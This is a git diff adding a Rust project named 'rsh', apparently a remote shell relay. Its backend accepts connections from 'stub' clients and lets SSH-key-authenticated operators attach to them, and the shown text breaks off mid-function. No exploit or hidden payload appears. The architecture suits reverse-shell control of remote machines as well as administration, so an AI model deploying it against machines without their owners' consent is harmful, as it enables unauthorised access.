"0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.5", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm 0.53.1", + "windows_aarch64_msvc 0.53.1", + "windows_i686_gnu 0.53.1", + "windows_i686_gnullvm 0.53.1", + "windows_i686_msvc 0.53.1", + "windows_x86_64_gnu 0.53.1", + "windows_x86_64_gnullvm 0.53.1", + "windows_x86_64_msvc 0.53.1", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi", +] + +[[package]] +name = "wit-bindgen" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen" +version = "0.57.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e" + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck", + "indexmap", + "prettyplease", + "syn", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags 2.11.1", + "indexmap", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "writeable" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" + +[[package]] +name = "yoke" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abe8c5fda708d9ca3df187cae8bfb9ceda00dd96231bed36e445a1a48e66f9ca" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zerocopy" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eed437bf9d6692032087e337407a86f04cd8d6a16a37199ed57949d415bd68e9" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e3cd084b1788766f53af483dd21f93881ff30d7320490ec3ef7526d203bad4" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zerofrom" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ec05a11813ea801ff6d75110ad09cd0824ddba17dfe17128ea0d5f68e6c5272" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1" +dependencies = [ + "proc-macro2", + "quote", + "syn", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" + +[[package]] +name = "zerotrie" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..6e087e6 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,50 @@ +[workspace] +resolver = "2" +members = ["crates/rsh-types", "crates/rsh-backend", "crates/rsh", "crates/rshc"] + +[workspace.package] +edition = "2021" +license = "MIT" +rust-version = "1.78" + +[workspace.dependencies] +rsh-types = { path = "crates/rsh-types" } + +tokio = { version = "1.40", features = ["full"] } +tokio-tungstenite = { version = "0.24", features = ["rustls-tls-native-roots"] } +futures-util = "0.3" +serde = { version = "1", features = ["derive"] } +serde_json = "1" +serde_yaml = "0.9" +bytes = { version = "1", features = ["serde"] } +anyhow = "1" +thiserror = "1" +tracing = "0.1" +tracing-subscriber = { version = "0.3", features = ["env-filter"] } +clap = { version = "4", features = ["derive", "env"] } +uuid = { version = "1", features = ["v4", "serde"] } + +axum = { version = "0.7", features = ["ws", "macros"] } +tower = "0.5" +tower-http = { version = "0.6", features = ["trace"] } +dashmap = "6" +argon2 = "0.5" +rand = "0.8" +ssh-key = { version = "0.6", features = ["ed25519", "rsa", "ecdsa", "p256", "p384", "encryption"] } +signature = "2" + +portable-pty = "0.8" +hostname = "0.4" +whoami = "1" + +inquire = "0.7" +owo-colors = "4" +comfy-table = "7" +crossterm = { version = "0.28", features = ["event-stream"] } +dirs = "5" +reqwest = { version = "0.12", default-features = false, features = ["rustls-tls", "blocking"] } +rpassword = "7" +humantime = "2" +time = { version = "0.3", features = ["formatting", "macros"] } +shellexpand = "3" +tempfile = "3" diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..da7c88d --- /dev/null +++ b/Dockerfile @@ -0,0 +1,22 @@ +FROM rust:1.95.0-trixie AS builder +WORKDIR /build +COPY Cargo.toml Cargo.lock* ./ +COPY crates ./crates +RUN --mount=type=cache,target=/usr/local/cargo/registry \ + --mount=type=cache,target=/build/target \ + cargo build --release -p rsh-backend && \ + cp target/release/rsh-backend /usr/local/bin/rsh-backend + +FROM debian:bookworm-slim AS runtime +RUN apt-get update && \ + apt-get install -y --no-install-recommends ca-certificates tini && \ + rm -rf /var/lib/apt/lists/* && \ + useradd --system --uid 10001 --home /var/lib/rsh --create-home rsh +COPY --from=builder /usr/local/bin/rsh-backend /usr/local/bin/rsh-backend +ENV RSH_DATA=/var/lib/rsh \ + RSH_BIND=0.0.0.0:7777 \ + RSH_LOG=info +USER 10001 +EXPOSE 7777 +VOLUME ["/var/lib/rsh"] +ENTRYPOINT ["/usr/bin/tini", "--", "/usr/local/bin/rsh-backend"] diff --git a/crates/rsh-backend/Cargo.toml b/crates/rsh-backend/Cargo.toml new file mode 100644 index 0000000..e1789fe --- /dev/null +++ b/crates/rsh-backend/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "rsh-backend" +version = "0.1.0" +edition.workspace = true + +[dependencies] +rsh-types = { workspace = true } +tokio = { workspace = true } +axum = { workspace = true } +tower-http = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +tracing = { workspace = true } +tracing-subscriber = { workspace = true } +anyhow = { workspace = true } +thiserror = { workspace = true } +argon2 = { workspace = true } +ssh-key = { workspace = true } +signature = { workspace = true } +dashmap = { workspace = true } +rand = { workspace = true } +bytes = { workspace = true } +futures-util = { workspace = true } +time = { workspace = true } diff --git a/crates/rsh-backend/src/auth.rs b/crates/rsh-backend/src/auth.rs new file mode 100644 index 0000000..5c83d88 --- /dev/null +++ b/crates/rsh-backend/src/auth.rs @@ -0,0 +1,29 @@ +use anyhow::{anyhow, Result}; +use argon2::password_hash::{PasswordHash, PasswordVerifier}; +use argon2::Argon2; +use ssh_key::public::PublicKey; +use ssh_key::SshSig; + +pub fn verify_password(password: &str, hash: &str) -> bool { + let parsed = match PasswordHash::new(hash) { + Ok(p) => p, + Err(_) => return false, + }; + Argon2::default() + .verify_password(password.as_bytes(), &parsed) + .is_ok() +} + +pub fn verify_signature(pubkey: &PublicKey, nonce: &[u8], signature_blob: &[u8]) -> Result<()> { + let sig = SshSig::from_pem(signature_blob) + .map_err(|e| anyhow!("parse signature: {e}"))?; + pubkey + .verify("rsh-auth", nonce, &sig) + .map_err(|e| anyhow!("verify failed: {e}"))?; + Ok(()) +} + +pub fn find_key<'a>(keys: &'a [PublicKey], offered: &PublicKey) -> Option<&'a PublicKey> { + let fp = offered.fingerprint(Default::default()); + keys.iter().find(|k| k.fingerprint(Default::default()) == fp) +} diff --git a/crates/rsh-backend/src/config.rs b/crates/rsh-backend/src/config.rs new file mode 100644 index 0000000..6eb6042 --- /dev/null +++ b/crates/rsh-backend/src/config.rs @@ -0,0 +1,30 @@ +use std::net::SocketAddr; +use std::path::PathBuf; + +#[derive(Clone, Debug)] +pub struct Config { + pub data_dir: PathBuf, + pub bind: SocketAddr, + pub log: String, +} + +impl Config { + pub fn from_env() -> anyhow::Result { + let data_dir = std::env::var("RSH_DATA") + .unwrap_or_else(|_| "/var/lib/rsh".to_string()) + .into(); + let bind: SocketAddr = std::env::var("RSH_BIND") + .unwrap_or_else(|_| "0.0.0.0:7777".to_string()) + .parse()?; + let log = std::env::var("RSH_LOG").unwrap_or_else(|_| "info,tower_http=warn".to_string()); + Ok(Self { data_dir, bind, log }) + } + + pub fn sessions_path(&self) -> PathBuf { + self.data_dir.join("sessions.json") + } + + pub fn authorized_keys_path(&self) -> PathBuf { + self.data_dir.join("authorized_keys") + } +} diff --git a/crates/rsh-backend/src/keys.rs b/crates/rsh-backend/src/keys.rs new file mode 100644 index 0000000..7f56fef --- /dev/null +++ b/crates/rsh-backend/src/keys.rs @@ -0,0 +1,10 @@ +use ssh_key::PublicKey; + +pub fn parse_authorized_keys(content: &str) -> Vec { + content + .lines() + .map(|l| l.trim()) + .filter(|l| !l.is_empty() && !l.starts_with('#')) + .filter_map(|l| PublicKey::from_openssh(l).ok()) + .collect() +} diff --git a/crates/rsh-backend/src/main.rs b/crates/rsh-backend/src/main.rs new file mode 100644 index 0000000..b6f15c8 --- /dev/null +++ b/crates/rsh-backend/src/main.rs @@ -0,0 +1,60 @@ +mod auth; +mod config; +mod keys; +mod persist; +mod state; +mod ws_op; +mod ws_stub; + +use anyhow::Context; +use axum::routing::get; +use axum::Router; +use config::Config; +use state::AppState; +use std::collections::HashMap; +use std::sync::Arc; +use tracing_subscriber::EnvFilter; + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + let cfg = Config::from_env()?; + let filter = EnvFilter::try_new(&cfg.log).unwrap_or_else(|_| EnvFilter::new("info")); + tracing_subscriber::fmt().with_env_filter(filter).init(); + + tokio::fs::create_dir_all(&cfg.data_dir).await.ok(); + + let state = Arc::new(AppState::new(cfg.clone())); + + let sessions = persist::load_sessions(&cfg.sessions_path()) + .await + .context("load sessions")?; + { + let mut map = state.sessions.write().await; + let mut h: HashMap = HashMap::new(); + for s in sessions { + h.insert(s.id.clone(), s); + } + *map = h; + } + + let keys_text = persist::load_authorized_keys_text(&cfg.authorized_keys_path()) + .await + .unwrap_or_default(); + { + let mut k = state.authorized_keys.write().await; + *k = keys::parse_authorized_keys(&keys_text); + tracing::info!(count = k.len(), "loaded authorized keys"); + } + + let app = Router::new() + .route("/healthz", get(|| async { "ok" })) + .route("/ws/stub", get(ws_stub::handler)) + .route("/ws/op", get(ws_op::handler)) + .with_state(state.clone()) + .layer(tower_http::trace::TraceLayer::new_for_http()); + + tracing::info!(bind = %cfg.bind, data = ?cfg.data_dir, "rsh-backend listening"); + let listener = tokio::net::TcpListener::bind(cfg.bind).await?; + axum::serve(listener, app).await?; + Ok(()) +} diff --git a/crates/rsh-backend/src/persist.rs b/crates/rsh-backend/src/persist.rs new file mode 100644 index 0000000..3e58790 --- /dev/null +++ b/crates/rsh-backend/src/persist.rs @@ -0,0 +1,45 @@ +use anyhow::Context; +use rsh_types::SessionRecord; +use std::path::Path; +use tokio::fs; +use tokio::io::AsyncWriteExt; + +pub async fn load_sessions(path: &Path) -> anyhow::Result> { + if !path.exists() { + return Ok(Vec::new()); + } + let data = fs::read(path).await.with_context(|| format!("read {:?}", path))?; + let v: Vec = serde_json::from_slice(&data)?; + Ok(v) +} + +pub async fn save_sessions(path: &Path, sessions: &[SessionRecord]) -> anyhow::Result<()> { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).await.ok(); + } + let tmp = path.with_extension("json.tmp"); + let bytes = serde_json::to_vec_pretty(sessions)?; + let mut f = fs::File::create(&tmp).await?; + f.write_all(&bytes).await?; + f.sync_all().await?; + drop(f); + fs::rename(&tmp, path).await?; + Ok(()) +} + +pub async fn load_authorized_keys_text(path: &Path) -> anyhow::Result { + if !path.exists() { + return Ok(String::new()); + } + Ok(fs::read_to_string(path).await?) +} + +pub async fn save_authorized_keys_text(path: &Path, content: &str) -> anyhow::Result<()> { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent).await.ok(); + } + let tmp = path.with_extension("tmp"); + fs::write(&tmp, content.as_bytes()).await?; + fs::rename(&tmp, path).await?; + Ok(()) +} diff --git a/crates/rsh-backend/src/state.rs b/crates/rsh-backend/src/state.rs new file mode 100644 index 0000000..86651da --- /dev/null +++ b/crates/rsh-backend/src/state.rs @@ -0,0 +1,71 @@ +use crate::config::Config; +use dashmap::DashMap; +use rsh_types::{BackendOpMsg, BackendStubMsg, OpEvent, SessionRecord, StubInfo}; +use ssh_key::PublicKey; +use std::collections::HashMap; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::Arc; +use tokio::sync::{broadcast, mpsc, Mutex, RwLock}; + +pub struct ConnHandle { + pub info: StubInfo, + pub to_stub: mpsc::Sender, + pub attach: Mutex>, + pub connected_at: i64, +} + +pub struct AttachSink { + pub req_id: u64, + pub sender: mpsc::Sender, +} + +pub struct AppState { + pub cfg: Config, + pub sessions: RwLock>, + pub connections: DashMap<(String, u64), Arc>, + pub next_conn_id: DashMap, + pub authorized_keys: RwLock>, + pub event_bus: broadcast::Sender, +} + +impl AppState { + pub fn new(cfg: Config) -> Self { + let (tx, _) = broadcast::channel(256); + Self { + cfg, + sessions: RwLock::new(HashMap::new()), + connections: DashMap::new(), + next_conn_id: DashMap::new(), + authorized_keys: RwLock::new(Vec::new()), + event_bus: tx, + } + } + + pub fn alloc_conn_id(&self, session: &str) -> u64 { + let entry = self + .next_conn_id + .entry(session.to_string()) + .or_insert_with(|| AtomicU64::new(1)); + entry.fetch_add(1, Ordering::Relaxed) + } + + pub fn connection_count(&self, session: &str) -> u32 { + self.connections + .iter() + .filter(|kv| kv.key().0 == session) + .count() as u32 + } + + pub fn list_connections(&self, filter: Option<&str>) -> Vec { + self.connections + .iter() + .filter(|kv| filter.map_or(true, |s| kv.key().0 == s)) + .map(|kv| rsh_types::ConnectionView { + session_id: kv.key().0.clone(), + connection_id: kv.key().1, + info: kv.value().info.clone(), + connected_at: kv.value().connected_at, + }) + .collect() + } +} diff --git a/crates/rsh-backend/src/ws_op.rs b/crates/rsh-backend/src/ws_op.rs new file mode 100644 index 0000000..097b213 --- /dev/null +++ b/crates/rsh-backend/src/ws_op.rs @@ -0,0 +1,388 @@ +use crate::auth::{find_key, verify_signature}; +use crate::keys::parse_authorized_keys; +use crate::persist; +use crate::state::{AppState, AttachSink}; +use axum::extract::ws::{Message, WebSocket}; +use axum::extract::{State, WebSocketUpgrade}; +use axum::response::IntoResponse; +use futures_util::{SinkExt, StreamExt}; +use rand::RngCore; +use rsh_types::{ + AttachIOFrame, BackendOpMsg, BackendStubMsg, OpEvent, OpMsg, OpReq, OpResp, SessionRecord, + SessionView, +}; +use ssh_key::PublicKey; +use std::sync::Arc; +use tokio::sync::mpsc; + +pub async fn handler( + ws: WebSocketUpgrade, + State(state): State>, +) -> impl IntoResponse { + ws.on_upgrade(move |socket| run(socket, state)) +} + +async fn run(mut socket: WebSocket, state: Arc) { + let pubkey = match auth_handshake(&mut socket, &state).await { + Ok(k) => k, + Err(reason) => { + let _ = send(&mut socket, &BackendOpMsg::AuthFail { reason }).await; + return; + } + }; + if send(&mut socket, &BackendOpMsg::AuthOk).await.is_err() { + return; + } + tracing::info!(fingerprint = %pubkey.fingerprint(Default::default()), "operator authed"); + + let (out_tx, mut out_rx) = mpsc::channel::(128); + let (mut sink, mut stream) = socket.split(); + + let writer = tokio::spawn(async move { + while let Some(msg) = out_rx.recv().await { + let text = match serde_json::to_string(&msg) { + Ok(t) => t, + Err(_) => break, + }; + if sink.send(Message::Text(text)).await.is_err() { + break; + } + } + let _ = sink.close().await; + }); + + let mut attached: Option<(String, u64, u64)> = None; + + while let Some(Ok(msg)) = stream.next().await { + let text = match msg { + Message::Text(t) => t, + Message::Binary(b) => match String::from_utf8(b) { + Ok(s) => s, + Err(_) => continue, + }, + Message::Close(_) => break, + _ => continue, + }; + let op: OpMsg = match serde_json::from_str(&text) { + Ok(v) => v, + Err(e) => { + tracing::warn!("bad op msg: {e}"); + continue; + } + }; + let (req_id, body) = match op { + OpMsg::Req { id, body } => (id, body), + _ => continue, + }; + let resp = handle_req(&state, &out_tx, &mut attached, req_id, body).await; + if let Some(r) = resp { + if out_tx.send(BackendOpMsg::Resp { id: req_id, body: r }).await.is_err() { + break; + } + } + } + + if let Some((s, c, _)) = attached { + if let Some(handle) = state.connections.get(&(s, c)) { + let mut a = handle.attach.lock().await; + *a = None; + } + } + drop(out_tx); + let _ = writer.await; +} + +async fn auth_handshake(socket: &mut WebSocket, state: &Arc) -> Result { + let init = recv_op(socket).await.ok_or_else(|| "no message".to_string())?; + let offered_str = match init { + OpMsg::AuthInit { pubkey_openssh } => pubkey_openssh, + _ => return Err("expected AuthInit".into()), + }; + let offered = PublicKey::from_openssh(&offered_str).map_err(|e| format!("bad pubkey: {e}"))?; + let keys = state.authorized_keys.read().await; + let matched = find_key(&keys, &offered).cloned(); + drop(keys); + let matched = matched.ok_or_else(|| "key not authorized".to_string())?; + + let mut nonce = [0u8; 32]; + rand::thread_rng().fill_bytes(&mut nonce); + send(socket, &BackendOpMsg::Challenge { nonce }).await.map_err(|e| e.to_string())?; + let signed = recv_op(socket).await.ok_or_else(|| "no signature".to_string())?; + let (sig_bytes, _alg) = match signed { + OpMsg::AuthSign { signature, alg } => (signature, alg), + _ => return Err("expected AuthSign".into()), + }; + verify_signature(&matched, &nonce, &sig_bytes).map_err(|e| e.to_string())?; + Ok(matched) +} + +async fn handle_req( + state: &Arc, + out_tx: &mpsc::Sender, + attached: &mut Option<(String, u64, u64)>, + req_id: u64, + body: OpReq, +) -> Option { + match body { + OpReq::SessionList => Some(OpResp::Sessions(list_sessions(state).await)), + OpReq::SessionCreate { name, password_hash } => { + let mut s = state.sessions.write().await; + if s.contains_key(&name) { + return Some(OpResp::Err(format!("session '{name}' already exists"))); + } + let rec = SessionRecord { + id: name.clone(), + password_hash, + created_at: now_unix(), + }; + s.insert(name.clone(), rec.clone()); + let snapshot: Vec<_> = s.values().cloned().collect(); + drop(s); + if let Err(e) = persist::save_sessions(&state.cfg.sessions_path(), &snapshot).await { + return Some(OpResp::Err(format!("persist: {e}"))); + } + let view = SessionView { + id: rec.id.clone(), + has_password: rec.password_hash.is_some(), + created_at: rec.created_at, + connection_count: 0, + }; + let _ = state.event_bus.send(OpEvent::NewSession(view)); + Some(OpResp::Ok) + } + OpReq::SessionDelete { name, disconnect } => { + let mut s = state.sessions.write().await; + if s.remove(&name).is_none() { + return Some(OpResp::Err(format!("no such session '{name}'"))); + } + let snapshot: Vec<_> = s.values().cloned().collect(); + drop(s); + if let Err(e) = persist::save_sessions(&state.cfg.sessions_path(), &snapshot).await { + return Some(OpResp::Err(format!("persist: {e}"))); + } + if disconnect { + disconnect_session(state, &name).await; + } + let _ = state.event_bus.send(OpEvent::SessionDeleted { session: name }); + Some(OpResp::Ok) + } + OpReq::SessionUpdate { name, set_password_hash, disconnect } => { + let mut s = state.sessions.write().await; + let Some(rec) = s.get_mut(&name) else { + return Some(OpResp::Err(format!("no such session '{name}'"))); + }; + if let Some(pw) = set_password_hash { + rec.password_hash = pw; + } + let snapshot: Vec<_> = s.values().cloned().collect(); + drop(s); + if let Err(e) = persist::save_sessions(&state.cfg.sessions_path(), &snapshot).await { + return Some(OpResp::Err(format!("persist: {e}"))); + } + if disconnect { + disconnect_session(state, &name).await; + } + Some(OpResp::Ok) + } + OpReq::ConnectionList { session } => { + Some(OpResp::Connections(state.list_connections(session.as_deref()))) + } + OpReq::Attach { session, connection_id, pty: _, cols, rows } => { + let conn_id = match connection_id { + Some(c) => c, + None => { 